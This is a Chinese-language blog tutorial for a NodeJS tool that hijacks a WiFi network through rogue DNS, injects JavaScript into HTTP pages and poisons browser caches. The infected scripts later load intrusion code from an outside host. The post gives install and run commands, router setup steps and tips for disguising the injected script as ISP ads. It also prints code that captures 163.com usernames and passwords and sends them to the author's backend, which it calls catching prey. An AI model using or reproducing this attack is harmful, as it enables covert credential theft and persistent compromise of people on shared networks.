WiFi流量劫持—— JS脚本缓存投毒

asfsd

　　在上一篇《WiFi流量劫持—— 浏览任意页面即可中毒》构思了一个时光机原型，让我们的脚本通过HTTP缓存机制，在未来的某个时刻被执行，因此我们可以实现超大范围的入侵了。
　　基于此原理，我们用NodeJS来实现一个简单的样例。得益于node强大的IO管理，以及各种封装好的网络模块，我们可以很容易实现这个想法：

• 开启一个特殊的DNS服务：所有域名都解析到我们的电脑上。并把Wifi的DHCP-DNS设置为我们的电脑IP。
  
• 之后连上Wifi的用户打开任何网站，请求都将被我们的node服务收到。我们根据http头中的host字段来转发到真正服务器上。
  
• 收到服务器返回的数据之后，我们就可以实现网页脚本的注入，并返回给用户了！
  
• 当注入的脚本被执行，用户的浏览器将依次预加载各大网站的常用脚本库。我们将其感染，并设置超长的缓存时间。
  

　　于是大功告成！

　　为了方便测试和控制，已把整个流程：DNS、HTTP代理、代码分析和注入都使用NodeJS编写，并整合在一起。下面就来测试一下！
　　获取Demo: （https://github.com/EtherDream/closurether）



# npm install -g closurether
　　运行:



# closurether
　　启动成功的话，会输出：



[SYS] local ip: 192.168.1.250
[DNS] running 0.0.0.0:53
[WEB] listening 0.0.0.0:80
[WEB] listening 0.0.0.0:443
　　当然，192.168.1.250这是我本地的IP，推荐使用固定的IP地址。
　　打开无线路由器-DHCP配置，将主DNS设置为自己的IP，重启路由。到此，你已经控制了整个无线网络的流量了！
　　用另一台电脑连上你的wifi：

　　这时会发现，ping任何域名，不出意外的话都会返回你的IP，DNS劫持已发挥作用了！



$ ping www.baidu.com
PING www.baidu.com (192.168.1.250): 56 data bytes
Request timeout for icmp_seq 0
$ ping www.google.com
PING www.google.com (192.168.1.250): 56 data bytes
Request timeout for icmp_seq 0

　　打开任意网页，一切正常。我们可以在node控制台看到用户访问的每一个请求。

　　当然这时网页上什么效果也没出现。这个Demo毕竟是个间谍程序，怎么可能会有界面呢？
　　想看效果的话修改项目里的asset/inject/extern.js，往里面加一条：



alert('Hello World');
　　这时再刷新页面，效果出现了！

　　打开任意网页的源文件，发现其中都注入了我们的脚本内容。为了隐蔽性，这里将注入的脚本伪装成运营商的url，别人还以为是联通宽带插的广告 ^_^
　　具体想伪装成什么地址，可以在config.json里配置。

　　脚本内容正是asset/inject/extern.js文件：

　　到此，我们已实现把javascript代码注入到WiFi网络的HTTP流量里了！
　　下面测试我们的终极目标：能穿越到未来执行的脚本时光机。
　　前面仔细观察的话，不难发现注入的脚本内容里多出一大堆url，这些正是我们需要让用户预加载并缓存的各大网站脚本。具体原理在上一篇里已经详细讲解了。
　　如果想入侵更多的网站，往tool/cache-sniffer/url.txt里添加。运行：



$ phantomjs sniffer.js
　　程序将自动更新注入脚本的内容。
　　要想预加载并缓存一个脚本很容易，只需new Image().src='...'。当然有少数浏览器不支持，不过ie和chrome都是支持的。尽管js文件并不是一个图片，但仍然会缓存。
　　上一篇文章已说明，为了减少一次请求大量脚本文件消耗的带宽，我们并不返回真正的原始脚本文件，而是一个很小的“桩文件”，用来启动我们的入侵代码，以及恢复原始脚本文件。
　　因此这个“桩文件”代码量非常少，区区百来字节而已。例如hao123网站下的某个已被感染了的脚本：

　　我们创建两个script元素，来加载外网的入侵代码，以及恢复原始脚本代码，使网页能正常运行。注意：原始脚本url后面的?1必不可少，否则又会从缓存里加载被感染的当前脚本，进入死循环。
　　使用document.write的好处在于，它创建的脚本是异步加载顺序执行的。所以在原始脚本未加载完之前，后面的脚本不会执行，避免了未定义错误的发生。
　　入侵代码的url可以在config.json里hacker_url字段配置。为了保证未来被感染的脚本被唤醒时，能正常调出你的入侵代码，所以选择一个可靠的外网来存放。
　　本Demo演示如何入侵并截获网易首页的账号，可以参考代码：http://jslog.sinaapp.com/ad.js。
　　演示中的代码很简单，仅仅捕捉用户在网易首页上输入的账号和密码而已，然后传给后台保存到数据库里。



    var url = location.href;
if (/\.163\.com/i.test(url)) {
function onSubmit() {
post(
NTES.one('#js_loginframe_username').value,
NTES.one('input[type=password]').value
);
}
NTES.one('.ntes-loginframe-btn').addEventListener('click', onSubmit);
NTES.one('input[type=password]').addEventListener('keydown', function(e) {
if (e.keyCode == 13) {
onSubmit();
}
});
}
　　下面重启电脑，并连上家里的WiFi。（连过KFC的用户回家之后的情况）

　　这时用户的流量已完全不在我们的可控之中，看我们的脚本是否仍能从沉睡之中唤醒呢？
　　   
　　打开www.163.com，一切正常~

　　输入用户名密码，一切正常~

　　似乎并没有感觉到任何的异常。回到我们自己的电脑上来看看，后台的笼子里是否有猎物捕捉到。。。

　　很好，我们的入侵代码已成功执行，在用户离开了我们的网络之后依旧能够运行！只要登录了我们事先感染过的那些网站，入侵代码都将会被唤醒。
　　事实上，只要用户不清空缓存，这段代码终将附着在硬盘缓存里，直到过期。有可能是1个星期，甚至数月的时间。
　　所谓一时失足成千古恨莫过于此。一时大意连接了一个wifi热点，不经意间间谍已潜入你的浏览器缓存里。。。
　　＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
　　使用NodeJS，我们只需数百行代码就实现了这个想法。当然，简单的同时缺点也是不言而喻的。node只提供了传输层的网络接口，我们无法操作底层网络数据。所以只能使用DNS劫持的方法来获得用户的流量。因此也就产生了一个非常纠结的问题：
　　怎样才能确定用户查询的域名是HTTP主机呢？
　　由于我们把所有的域名都解析到了自己的电脑上，因此包括其他的网络程序数据也转发到了我们这里。然而我们的node只监听了tcp:80端口，对于其他的端口则是完全忽略的。
　　即使我们监听了其他端口，我们也无法把收到的数据转发到真实的服务器 —— 我们根本不知道发到哪个地址上！
　　HTTP之所以能实现转发，得益于头部有个host字段；而非HTTP协议，甚至包括HTTPS，我们只能收到一堆二进制数据，然后就不知道的该交给谁了。
　　此问题虽然无法避免，但也有一定程度的解决方案：
　　1.) 事先收集各大网站的域名。之后用户查询的域名在列表里的话，直接返回自己的电脑IP；否则转发给外网DNS。
　　当记录足够多的话，我们可以拦截住用户大多数的网站流量。
　　但要收集大量的网站域名并不容易，而且仍会有不少的遗漏。因此我们使用更简单的方法：
　　2.) 仍然将所有的域名解析到自己电脑上，但域名TTL时间很短，几秒后就过期。
　　如果在之后的几秒时间里，收到访问这个域名的http请求（host字段是这个域名），那么就认为这个域名是http服务的；
　　如果规定时间里没有收到，那么就当做非http服务的域名。当域名ttl过期后，下次再查询这个域名时，就解析到外网真实的服务器IP了。反正不是http协议，收到了也没用。
　　3.) 尝试访问前来请求域名的80端口。如果能连接上，就当做是一个Web域名。就返回自己的IP。
　　目前使用方法3来识别域名。事实上基于DNS的流量劫持还有更大缺陷：

• 如果用户手工设置的DNS怎么办？比如8.8.8.8的用户就非常多。
  
• 不是80端口的网站又如何是好？难道我们要把1~65535的端口都监听吗？
  
• 一个网站域名下同时有http和其他服务了，拦截就导致那个服务不可用了。
  
• 最麻烦的当属纯IP的网站，那么就完全无法拦截了~
  

　　纠结之处就不再吐槽，不然就永远实现不了我们的想法了，以后再使用node扩展慢慢完善。
　　即便面临着不少问题，我们的Demo仍能顺利跑起来 —— 完全按照我们的预想运行！
　　＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
　　 后记
　　     补充一个更简明的演示：https://github.com/EtherDream/mitm-http-cache-poisoning
　　之前的 Demo 临时写的，比较混乱，一直没有更新。而且局域网里也用不着 DNS 的方式，用 DHCP 劫持的方式效果更好。